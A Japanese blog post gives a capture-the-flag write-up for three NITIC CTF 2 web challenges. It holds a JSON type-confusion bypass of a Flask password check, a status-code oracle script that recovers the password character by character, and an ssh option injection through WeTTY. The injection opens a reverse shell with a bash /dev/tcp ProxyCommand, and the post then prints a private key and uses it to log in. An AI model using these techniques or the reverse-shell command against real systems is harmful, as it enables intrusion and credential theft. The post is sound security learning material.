st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

NITIC CTF 2 writeup

9/5 - 9/6という日程で開催された。zer0ptsで参加して1位。


[Web 300] password (46 solves)

以下のようなコードが与えられた。ランダムに生成されたパスワードを /flag に与えるとフラグが得られるらしい。0oO のような紛らわしい文字は打ち間違えても大丈夫らしい。

from flask import Flask, request, make_response
import string
import secrets

password = "".join([secrets.choice(string.ascii_letters) for _ in range(32)])

print("[INFO] password: " + password)

with open("flag.txt") as f:
    flag = f.read()


def fuzzy_equal(input_pass, password):
    if len(input_pass) != len(password):
        return False

    for i in range(len(input_pass)):
        if input_pass[i] in "0oO":
            c = "0oO"
        elif input_pass[i] in "l1I":
            c = "l1I"
        else:
            c = input_pass[i]
        if all([ci != password[i] for ci in c]):
            return False
    return True

app = Flask(__name__)

@app.route("/")
def home():
    html = """
  <!DOCTYPE html>
  <html lang="en">
  <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <title>test page</title>
  </head>
  <body>
      <h1>Do you want the flag?</h1>
      <p>password: <input type="text" id="password"></p>
      <p><button id="submit">Submit</button></p>
      <pre id="response"></pre>

      <script>
          document.getElementById("submit").onclick = () => {
              const data = {"pass": document.getElementById("password").value}
              fetch('/flag', {
                  method: 'POST',
                  headers: {
                      'Content-Type': 'application/json',
                  },
                  body: JSON.stringify(data),
              })
              .then(async (res) => document.getElementById("response").innerHTML = await res.text())
          };
      </script>
  </body>
  </html>
  """
    return make_response(html, 200)

@app.route("/flag", methods=["POST"])
def search():
    if request.headers.get("Content-Type") != 'application/json':
        return make_response("Content-Type Not Allowed", 415)

    input_pass = request.json.get("pass", "")
    if not fuzzy_equal(input_pass, password):
        return make_response("invalid password", 401)
    return flag


app.run(port=8080)

fuzzy_equal の処理をよく見てみると、あいまい検索の実装は c = input_pass[i] からの all([ci != password[i] for ci in c]) によって行われていることがわかる。/flagJSONを受け付けているから、input_pass[i] に配列を入れることもできる。string.ascii_letters で埋め尽くされた配列を渡せば、c には string.ascii_letters が入り、また password[i] は必ず string.ascii_letters の中に含まれるから、fuzzy_equalTrue を返すはずだ。以下のコマンドを実行するとフラグが得られた。

#!/bin/bash
curl 'http://34.146.80.178:8001/flag' \
  -H 'Content-Type: application/json' \
  --data-raw '{"pass":["abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"]}'
nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}

[Web 300] password fixed (13 solves)

passwordに以下のような修正が加えられた。もう先ほどの解法は動かない。

18,23c18,25
<                       c = "0oO"
<               elif input_pass[i] in "l1I":
<                       c = "l1I"
<               else:
<                       c = input_pass[i]
<               if all([ci != password[i] for ci in c]):
---
>                       if password[i] not in "0oO":
>                               return False
>                       continue
>               if input_pass[i] in "l1I":
>                       if password[i] not in "l1I":
>                               return False
>                       continue
>               if input_pass[i] != password[i]:

当てるべきパスワードが Aaaa である場合を考える。['B',[],[],[]] をパスワードとして入力すると、if input_pass[i] != password[i]: return False でループが終了し、if not fuzzy_equal(input_pass, password): return make_response("invalid password", 401) によって401というステータスコードが返ってくる。

一方で、['A',[],[],[]] が入力された場合にはループが終了せず A の次の要素である [] もチェックされるが、ループでまず実行される input_pass[i] in "0oO" において以下のように左辺と右辺の型が違うために例外が発生する。したがって、ステータスコードは500になる。

>>> [] in '0oO'
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'in <string>' requires string as left operand, not list

この挙動を利用すると、ステータスコードを観察することで1文字ずつパスワードが特定できる。

import requests
import string

HOST = 'http://34.146.80.178:8002'

known = ''
for _ in range(32):
  for c in string.ascii_letters:
    tmp = list(known + c) + [[]] * (32 - len(known + c))
    r = requests.post(f'{HOST}/flag', json={
      'pass': tmp
    })
    if r.status_code in (200, 500):
      known += c
      break
  print(known)
nitic_ctf{s0_sh0u1d_va11dat3_un1nt3nd3d_s0lut10n}

[Web 500] Is it Shell? (3 solves)

WeTTYというWebブラウザでターミナルを操作できる便利なツールが動いているURLと、以下のようなパッチが与えられた。

wetty2.0.3.patch というパッチのファイル名から使われているWeTTYのバージョンが2.0.3であると推測できるが、GitHubリリースログを見てみるとちょうど2週間ほど前に2.1.1がリリースされており、やや古いことがわかる。

2.0.3から2.1.1までの間でなにか脆弱性が修正されてはいないだろうか。コミットログ変更されたファイルを眺めていると、- から始まるユーザ名を入力できないようにするバグを修正するコミットが見つかった。問題で与えられたパッチは以下からわかるようにクライアント側のコードを修正するものだが、これも - を入力できないようにしている。ヒントだろうか。

--- a/src/client/wetty.ts
+++ b/src/client/wetty.ts
@@ -27,7 +27,7 @@ socket.on('connect', () => {
   const fileDownloader = new FileDownloader();

   term.onData((data: string) => {
-    socket.emit('input', data);
+    socket.emit('input', data.replace(/-/g, ''));
   });
   term.onResize((size: { cols: number; rows: number }) => {
     socket.emit('resize', size);

試しに - から始まるユーザ名を入力してみよう。DevToolsを開いて String.prototype.replace = function () { return this; }; を実行し、-hoge を入力してみると、以下のように ssh コマンドのhelpが表示された。ssh コマンドのオプションのinjectionができるということだろうか。

f:id:st98:20210906013236p:plain

man ssh で有用なオプションがないか眺めていると、-F という設定ファイルを読み込むためのオプションが見つかった。これで適当なファイルを読み込めないだろうか。

     -F configfile
             Specifies an alternative per-user configuration file.  If a configuration file is given on the command line, the system-wide configuration file (/etc/ssh/ssh_config) will be ignored.  The
             default for the per-user configuration file is ~/.ssh/config.

いちいち手でオプションを入力するのも面倒なので、Socket.IOのクライアントで直接入力できるようにしてみる。Socket.IOのサーバに接続している箇所にブレークポイントを置いて、ここに来たタイミングで globalThis.sock = socket を実行すると、sock からいつでもデータを送れるようになった。

f:id:st98:20210906013442p:plain

sock.emit('input', '-F/etc/passwd\x00')-F/etc/passwd\x00 を入力して送信すると、以下のように /etc/passwd を読み込むことができた。

f:id:st98:20210906013915p:plain

ここでしばらく悩んでいたが、あらためて man ssh を読んでいると -o オプションで様々なオプションを設定できることに気づいた。

     -o option
             Can be used to give options in the format used in the configuration file.  This is useful for specifying options for which there is no separate command-line flag.  For full details of the
             options listed below, and their possible values, see ssh_config(5).

有用なオプションがないか man ssh_config で探していると、ProxyCommand といういい感じにOSコマンドが実行できそうなものが見つかった。

     ProxyCommand
             Specifies the command to use to connect to the server.  The command string extends to the end of the line, and is executed using the user's shell ‘exec’ directive to avoid a lingering shell
             process.

             Arguments to ProxyCommand accept the tokens described in the TOKENS section.  The command can be basically anything, and should read from its standard input and write to its standard output.
             It should eventually connect an sshd(8) server running on some machine, or execute sshd -i somewhere.  Host key management will be done using the Hostname of the host being connected (de‐
             faulting to the name typed by the user).  Setting the command to none disables this option entirely.  Note that CheckHostIP is not available for connects with a proxy command.

             This directive is useful in conjunction with nc(1) and its proxy support.  For example, the following directive would connect via an HTTP proxy at 192.0.2.0:

                ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

8000番ポートで待ち受けた上で -o ProxyCommand=bash -c "bash -i >& /dev/tcp/…/8000 0>&1"\x00 を入力し送信すると、リバースシェルを張ることができた。

ホームディレクトリにあるファイルを見てみる。まず .bash_historyflag@flagserver にログインすればよいらしい。

ubuntu@ip-172-31-45-150:~$ cat .bash_history
cat .bash_history
rm .bash_history 
exit
cat .ssh/known_hosts 
ls
ls
echo "login to flag@flagserver" > note
exit
ls -altr
cat .bash_history 
vim .bash_history 
ls -altr
history
exit
vim .bash_history 
exit

ls -la からの id_rsa_flagid_rsa_flag はおそらく flag@flagserver にログインするための秘密鍵だろう。

ubuntu@ip-172-31-45-150:~$ ls -la
ls -la
total 68
drwxr-xr-x 8 ubuntu ubuntu  4096 Sep  5 07:17 .
drwxr-xr-x 3 root   root    4096 Sep  4 12:02 ..
-r-xr-xr-x 1 ubuntu ubuntu   188 Sep  5 07:17 .bash_history
-rw-r--r-- 1 ubuntu ubuntu   220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu  3771 Feb 25  2020 .bashrc
drwx------ 4 ubuntu ubuntu  4096 Sep  4 22:42 .cache
drwx------ 3 ubuntu ubuntu  4096 Sep  4 22:42 .config
drwxrwxr-x 4 ubuntu ubuntu  4096 Sep  4 22:40 .npm
-rw-r--r-- 1 ubuntu ubuntu   807 Feb 25  2020 .profile
drwx------ 2 ubuntu ubuntu  4096 Sep  4 22:54 .ssh
-rw-r--r-- 1 ubuntu ubuntu     0 Sep  4 22:25 .sudo_as_admin_successful
drwxr-xr-x 2 ubuntu ubuntu  4096 Sep  4 23:13 .vim
-rw------- 1 ubuntu ubuntu 12126 Sep  5 07:17 .viminfo
-rw-rw-r-- 1 root   root    2601 Sep  4 22:48 id_rsa_flag
-r-xr-xr-x 1 ubuntu ubuntu    25 Sep  5 06:05 note
drwxrwxr-x 9 root   root    4096 Sep  5 07:42 wetty
ubuntu@ip-172-31-45-150:~$ cat id_rsa_flag
cat id_rsa_flag
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA4FabBbtlhJY8b8W/oM2yiyJffK2Zkeri8s02RaN+bOm0d8GPRoVr
3gQ947xGaY520kz5NpQR+PEInd5AdcUSWtxL3ucxdmVlFmaL5BEwHzsatGdCV/tTNguQ7n
…
PE6mgXAGVqlNzf7Ex4VpnlUNABVGABpx1VrBvY4xkLg5646a1nKOrbXqDKYN5k/1kRTJ4V
0iH8v+5I2jxMn7jmS1iuTETxEF5E5CkfWDzJF3Z2jEym3OpYoLXrg3iBV9hZKD4zlzX32Z
0q3hjDFeyq//DFAAAADWFrYW5lQGRlc2t0b3ABAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

これを使ってログインするとフラグが得られた。

$ ssh flag@flagserver -i id_rsa
ssh flag@flagserver -i id_rsa
Pseudo-terminal will not be allocated because stdin is not a terminal.
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-1045-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Sep  5 08:09:01 UTC 2021

  System load:  0.0               Processes:             107
  Usage of /:   25.0% of 7.69GB   Users logged in:       0
  Memory usage: 25%               IPv4 address for eth0: 172.31.7.7
  Swap usage:   0%

 * Ubuntu Pro delivers the most comprehensive open source security and
   compliance features.

   https://ubuntu.com/aws/pro

73 updates can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list --upgradable


*** System restart required ***

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

ls
flag.txt
cat flag.txt
nitic_ctf{shell_in_the_webshell}